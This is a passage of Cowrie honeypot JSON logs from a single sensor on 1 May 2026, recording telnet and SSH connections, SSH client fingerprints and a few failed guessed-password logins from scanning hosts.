{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46768,"dst_ip":"10.17.0.5","dst_port":23,"session":"8e0c7568e370","protocol":"telnet","message":"New connection: 159.203.13.64:46768 (10.17.0.5:23) [session: 8e0c7568e370]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:25.563530Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46778,"dst_ip":"10.17.0.5","dst_port":23,"session":"51bf1be97ab1","protocol":"telnet","message":"New connection: 159.203.13.64:46778 (10.17.0.5:23) [session: 51bf1be97ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:26.474234Z"}
{"eventid":"cowrie.session.closed","duration":36.191986322402954,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:26.676903Z","src_ip":"80.252.221.197","session":"40f938d280bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46790,"dst_ip":"10.17.0.5","dst_port":23,"session":"c182597c3b0f","protocol":"telnet","message":"New connection: 159.203.13.64:46790 (10.17.0.5:23) [session: c182597c3b0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:26.959271Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46800,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ba119dee96d","protocol":"telnet","message":"New connection: 159.203.13.64:46800 (10.17.0.5:23) [session: 3ba119dee96d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:27.352111Z"}
{"eventid":"cowrie.session.closed","duration":36.69018030166626,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:27.815208Z","src_ip":"80.252.221.197","session":"9bea0fad72ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46816,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e489104f6c8","protocol":"telnet","message":"New connection: 159.203.13.64:46816 (10.17.0.5:23) [session: 9e489104f6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:27.823241Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46818,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce829dbd6c0a","protocol":"telnet","message":"New connection: 159.203.13.64:46818 (10.17.0.5:23) [session: ce829dbd6c0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:27.993673Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":46834,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb9871c2bcc8","protocol":"telnet","message":"New connection: 159.203.13.64:46834 (10.17.0.5:23) [session: fb9871c2bcc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:28.681993Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.252.221.197","src_port":45970,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cf3f12dade4","protocol":"telnet","message":"New connection: 80.252.221.197:45970 (159.203.135.109:23) [session: 7cf3f12dade4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:28.706608Z"}
{"eventid":"cowrie.session.closed","duration":40.84853506088257,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:30.843650Z","src_ip":"159.203.13.64","session":"075e2456d572","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.61128783226013,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:35.126672Z","src_ip":"159.203.13.64","session":"0ecef595aa60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.65886616706848,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:36.864237Z","src_ip":"159.203.13.64","session":"c7caca01432a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48268,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a22e97cb1c9","protocol":"telnet","message":"New connection: 159.203.13.64:48268 (10.17.0.5:23) [session: 6a22e97cb1c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:42.641869Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48284,"dst_ip":"10.17.0.5","dst_port":23,"session":"7699dd230db2","protocol":"telnet","message":"New connection: 159.203.13.64:48284 (10.17.0.5:23) [session: 7699dd230db2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:43.371809Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48290,"dst_ip":"10.17.0.5","dst_port":23,"session":"486056ce888f","protocol":"telnet","message":"New connection: 159.203.13.64:48290 (10.17.0.5:23) [session: 486056ce888f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:46.424259Z"}
{"eventid":"cowrie.session.closed","duration":32.09374713897705,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:46.976706Z","src_ip":"159.203.13.64","session":"ed5a9a99bd88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48136,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c3edd51dbb3","protocol":"ssh","message":"New connection: 159.203.92.129:48136 (159.203.135.109:22) [session: 2c3edd51dbb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:48.135586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:48.138921Z","src_ip":"159.203.92.129","session":"2c3edd51dbb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:48.142313Z","src_ip":"159.203.92.129","session":"2c3edd51dbb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"allu","password":"allu","message":"login attempt [allu/allu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:48.151633Z","src_ip":"159.203.92.129","session":"2c3edd51dbb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:49.157973Z","src_ip":"159.203.92.129","session":"2c3edd51dbb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":48294,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6311ef3ef3d","protocol":"telnet","message":"New connection: 159.203.13.64:48294 (10.17.0.5:23) [session: c6311ef3ef3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:49.583407Z"}
{"eventid":"cowrie.session.closed","duration":41.07063603401184,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:51.272069Z","src_ip":"159.203.13.64","session":"0df27d56290c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.049158334732056,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:59.712854Z","src_ip":"159.203.13.64","session":"7a98c7dac6c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":37346,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d0afc3d6dbc","protocol":"telnet","message":"New connection: 159.203.13.64:37346 (10.17.0.5:23) [session: 5d0afc3d6dbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:56:59.974266Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34676,"dst_ip":"10.17.0.5","dst_port":23,"session":"74e99f21999b","protocol":"telnet","message":"New connection: 159.203.13.64:34676 (10.17.0.5:23) [session: 74e99f21999b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:01.250443Z"}
{"eventid":"cowrie.session.closed","duration":33.45899319648743,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:01.281984Z","src_ip":"159.203.13.64","session":"9e489104f6c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":58042,"dst_ip":"159.203.135.109","dst_port":22,"session":"6eea969aa4df","protocol":"ssh","message":"New connection: 186.13.24.118:58042 (159.203.135.109:22) [session: 6eea969aa4df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:01.853132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:01.859899Z","src_ip":"186.13.24.118","session":"6eea969aa4df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:02.037522Z","src_ip":"186.13.24.118","session":"6eea969aa4df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34680,"dst_ip":"10.17.0.5","dst_port":23,"session":"6c011f7733bc","protocol":"telnet","message":"New connection: 159.203.13.64:34680 (10.17.0.5:23) [session: 6c011f7733bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:02.508766Z"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"UBUNTU2022","message":"login attempt [ubuntu/UBUNTU2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:02.743778Z","src_ip":"186.13.24.118","session":"6eea969aa4df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34690,"dst_ip":"10.17.0.5","dst_port":23,"session":"862ea8cfd4ef","protocol":"telnet","message":"New connection: 159.203.13.64:34690 (10.17.0.5:23) [session: 862ea8cfd4ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:03.414095Z"}
{"eventid":"cowrie.session.closed","duration":35.803876876831055,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:03.797473Z","src_ip":"159.203.13.64","session":"ce829dbd6c0a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.27420258522034,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:03.837594Z","src_ip":"159.203.13.64","session":"8e0c7568e370","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:03.916204Z","src_ip":"186.13.24.118","session":"6eea969aa4df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":34706,"dst_ip":"10.17.0.5","dst_port":23,"session":"276079f06e33","protocol":"telnet","message":"New connection: 159.203.13.64:34706 (10.17.0.5:23) [session: 276079f06e33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:04.213390Z"}
{"eventid":"cowrie.session.closed","duration":36.33413076400757,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:05.040618Z","src_ip":"80.252.221.197","session":"7cf3f12dade4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.52293515205383,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:06.481911Z","src_ip":"159.203.13.64","session":"c182597c3b0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.472023725509644,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:07.096870Z","src_ip":"159.203.13.64","session":"400d6b4d3d1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.83756184577942,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:07.311706Z","src_ip":"159.203.13.64","session":"51bf1be97ab1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.77499508857727,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:08.127104Z","src_ip":"159.203.13.64","session":"3ba119dee96d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59372,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7eab368c85f","protocol":"telnet","message":"New connection: 159.203.13.64:59372 (10.17.0.5:23) [session: e7eab368c85f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:16.236106Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":59384,"dst_ip":"10.17.0.5","dst_port":23,"session":"a374393212cc","protocol":"telnet","message":"New connection: 159.203.13.64:59384 (10.17.0.5:23) [session: a374393212cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:17.167668Z"}
{"eventid":"cowrie.session.closed","duration":49.171499490737915,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:17.853426Z","src_ip":"159.203.13.64","session":"fb9871c2bcc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":53608,"dst_ip":"10.17.0.5","dst_port":23,"session":"778c31226a1b","protocol":"telnet","message":"New connection: 159.203.13.64:53608 (10.17.0.5:23) [session: 778c31226a1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:26.283626Z"}
{"eventid":"cowrie.session.closed","duration":45.27393341064453,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:27.915690Z","src_ip":"159.203.13.64","session":"6a22e97cb1c9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.02118420600891,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:30.604469Z","src_ip":"159.203.13.64","session":"c6311ef3ef3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.237807512283325,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:31.609507Z","src_ip":"159.203.13.64","session":"7699dd230db2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.00401592254639,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:32.428185Z","src_ip":"159.203.13.64","session":"486056ce888f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":44674,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e3c9cef19c9","protocol":"ssh","message":"New connection: 159.203.92.129:44674 (159.203.135.109:22) [session: 6e3c9cef19c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:32.688943Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:32.693957Z","src_ip":"159.203.92.129","session":"6e3c9cef19c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:32.699933Z","src_ip":"159.203.92.129","session":"6e3c9cef19c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alluser","password":"123","message":"login attempt [alluser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:32.711938Z","src_ip":"159.203.92.129","session":"6e3c9cef19c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:33.717622Z","src_ip":"159.203.92.129","session":"6e3c9cef19c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":49888,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f9dbb1aee86","protocol":"telnet","message":"New connection: 159.203.13.64:49888 (10.17.0.5:23) [session: 5f9dbb1aee86]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:34.680647Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":49896,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ca1b60e64ec","protocol":"telnet","message":"New connection: 159.203.13.64:49896 (10.17.0.5:23) [session: 9ca1b60e64ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:35.057296Z"}
{"eventid":"cowrie.session.closed","duration":41.76870608329773,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:41.742872Z","src_ip":"159.203.13.64","session":"5d0afc3d6dbc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.38694381713867,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:41.895600Z","src_ip":"159.203.13.64","session":"6c011f7733bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.703299045562744,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:45.117267Z","src_ip":"159.203.13.64","session":"862ea8cfd4ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.687824964523315,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:45.938116Z","src_ip":"159.203.13.64","session":"74e99f21999b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":38364,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f706ad35d48","protocol":"telnet","message":"New connection: 159.203.13.64:38364 (10.17.0.5:23) [session: 6f706ad35d48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:47.057685Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.13.64","src_port":38380,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e13ad7b7e53","protocol":"telnet","message":"New connection: 159.203.13.64:38380 (10.17.0.5:23) [session: 0e13ad7b7e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T00:57:48.288697Z"}
